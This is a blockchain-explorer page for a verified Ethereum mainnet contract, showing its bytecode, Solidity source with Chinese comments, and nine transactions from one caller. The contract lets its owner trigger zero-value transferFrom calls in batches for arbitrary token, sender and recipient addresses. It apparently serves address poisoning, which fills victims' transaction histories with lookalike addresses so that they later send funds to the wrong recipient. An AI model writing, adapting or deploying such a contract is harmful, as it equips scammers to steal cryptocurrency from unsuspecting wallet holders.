Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xd4d00E9CCFf27DF30Fa11450D61D5Ca66810cd7D
Balance 0 ETH
Nonce 1
Code Size 2283 bytes
Indexed Transactions 9 (24,422,26924,422,316)
Gas Used (indexed) 11,350,470
External Etherscan · Sourcify

Contract Bytecode

2283 bytes
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80638da5cb5b14610046578063e94a5b2314610064578063f2fde38b14610080575b600080fd5b61004e61009c565b60405161005b91906106a0565b60405180910390f35b61007e60048036038101906100799190610598565b6100c0565b005b61009a6004803603810190610095919061056b565b6103bf565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461014e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101459061070d565b60405180910390fd5b600082829050905060005b818110156103b9573684848381811061017557610174610804565b5b905060600201905060008073ffffffffffffffffffffffffffffffffffffffff168260000160208101906101a9919061056b565b73ffffffffffffffffffffffffffffffffffffffff16146102fa578160000160208101906101d7919061056b565b73ffffffffffffffffffffffffffffffffffffffff16826020016020810190610200919061056b565b836040016020810190610213919061056b565b6000604051602401610227939291906106bb565b6040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516102b19190610689565b6000604051808303816000865af19150503d80600081146102ee576040519150601f19603f3d011682016040523d82523d6000602084013e6102f3565b606091505b5050809150505b81604001602081019061030d919061056b565b73ffffffffffffffffffffffffffffffffffffffff16826020016020810190610336919061056b565b73ffffffffffffffffffffffffffffffffffffffff1683600001602081019061035f919061056b565b73ffffffffffffffffffffffffffffffffffffffff167fffbee34b61dbcea002c0a6e24a7d94016556588ef786ddd8a39826ebe2015b76846040516103a491906106f2565b60405180910390a48260010192505050610159565b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461044d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104449061070d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156104bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b49061072d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008135905061050f8161089e565b92915050565b60008083601f84011261052b5761052a610838565b5b8235905067ffffffffffffffff81111561054857610547610833565b5b6020830191508360608202830111156105645761056361083d565b5b9250929050565b60006020828403121561058157610580610847565b5b600061058f84828501610500565b91505092915050565b600080602083850312156105af576105ae610847565b5b600083013567ffffffffffffffff8111156105cd576105cc610842565b5b6105d985828601610515565b92509250509250929050565b6105ee81610774565b82525050565b6105fd81610786565b82525050565b600061060e8261074d565b6106188185610758565b93506106288185602086016107d1565b80840191505092915050565b61063d816107bf565b82525050565b6000610650601383610763565b915061065b8261084c565b602082019050919050565b6000610673601983610763565b915061067e82610875565b602082019050919050565b60006106958284610603565b915081905092915050565b60006020820190506106b560008301846105e5565b92915050565b60006060820190506106d060008301866105e5565b6106dd60208301856105e5565b6106ea6040830184610634565b949350505050565b600060208201905061070760008301846105f4565b92915050565b6000602082019050818103600083015261072681610643565b9050919050565b6000602082019050818103600083015261074681610666565b9050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061077f82610792565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600060ff82169050919050565b60006107ca826107b2565b9050919050565b60005b838110156107ef5780820151818401526020810190506107d4565b838111156107fe576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b7f4f6e6c79206f776e65722063616e2063616c6c00000000000000000000000000600082015250565b7f4e6577206f776e6572206973207a65726f206164647265737300000000000000600082015250565b6108a781610774565b81146108b257600080fd5b5056fea2646970667358221220fb19b0bdd067dcdf4ebbf9454f3f6a465a0b761b0a227dbba127c9d59d9b09f164736f6c63430008070033

Verified Source Code Full Match

Compiler: v0.8.7+commit.e28d00a7 EVM: london Optimization: No
transfer_zero_erc20.sol 65 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BatchZeroTokenFromTo {
    /// @notice 合约拥有者地址
    address public owner;

    /// @notice 单次调用结果事件
    event TriggerResult(
        address indexed tokenAddr,
        address indexed from,
        address indexed to,
        bool success
    );

    /// @dev 描述一次零值转账调用所需的三个参数
    struct Op {
        address tokenAddr;
        address from;
        address to;
    }

    /// @dev 仅限 owner 调用
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call");
        _;
    }

    /// @notice 部署时设置合约拥有者
    constructor() {
        owner = msg.sender;
    }

    /// @notice 批量触发 zero-value transferFrom,只有 owner 可调用
    /// @param ops 每一项包含 tokenAddr、from、to
    function transfer(Op[] calldata ops) external onlyOwner {
        uint256 n = ops.length;
        for (uint256 i = 0; i < n; ) {
            Op calldata op = ops[i];
            bool success;

            if (op.tokenAddr != address(0)) {
                // 低级 call 绕过 ABI 解码,仅关心 success
                (success, ) = op.tokenAddr.call(
                    abi.encodeWithSignature(
                        "transferFrom(address,address,uint256)",
                        op.from,
                        op.to,
                        0
                    )
                );
            }

            emit TriggerResult(op.tokenAddr, op.from, op.to, success);
            unchecked { ++i; }
        }
    }

    /// @notice 将合约所有权转移给 newOwner
    /// @param newOwner 新的 owner 地址(不能为零地址)
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "New owner is zero address");
        owner = newOwner;
    }
}

Read Contract

owner 0x8da5cb5b → address

Write Contract 2 functions

These functions modify contract state and require a wallet transaction to execute.

transfer 0xf06ed066
tuple[] ops
transferOwnership 0xf2fde38b
address newOwner

Top Interactions

AddressTxnsSentReceived
0xA63f2d8F...dE28 9 9

Recent Transactions

CSV
|
Hash Method Block Age From/To Value Txn Fee Type
0x910aab44...15ff6a 0xe94a5b23 24,422,316 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0xf718af9f...a43e46 0xe94a5b23 24,422,311 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0x3952ef96...b3d650 0xe94a5b23 24,422,305 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0x081d889b...76e39a 0xe94a5b23 24,422,300 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0xc6115ac8...eca5cf 0xe94a5b23 24,422,295 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0xfc0bebc9...2d3e64 0xe94a5b23 24,422,283 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0x74086a2f...5a79a8 0xe94a5b23 24,422,281 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0x18429de8...e0b53e 0xe94a5b23 24,422,269 IN 0xA63f2d8F...dE28 0 ETH EIP-1559
0x0bb73039...a17aef 0xe94a5b23 24,422,269 IN 0xA63f2d8F...dE28 0 ETH EIP-1559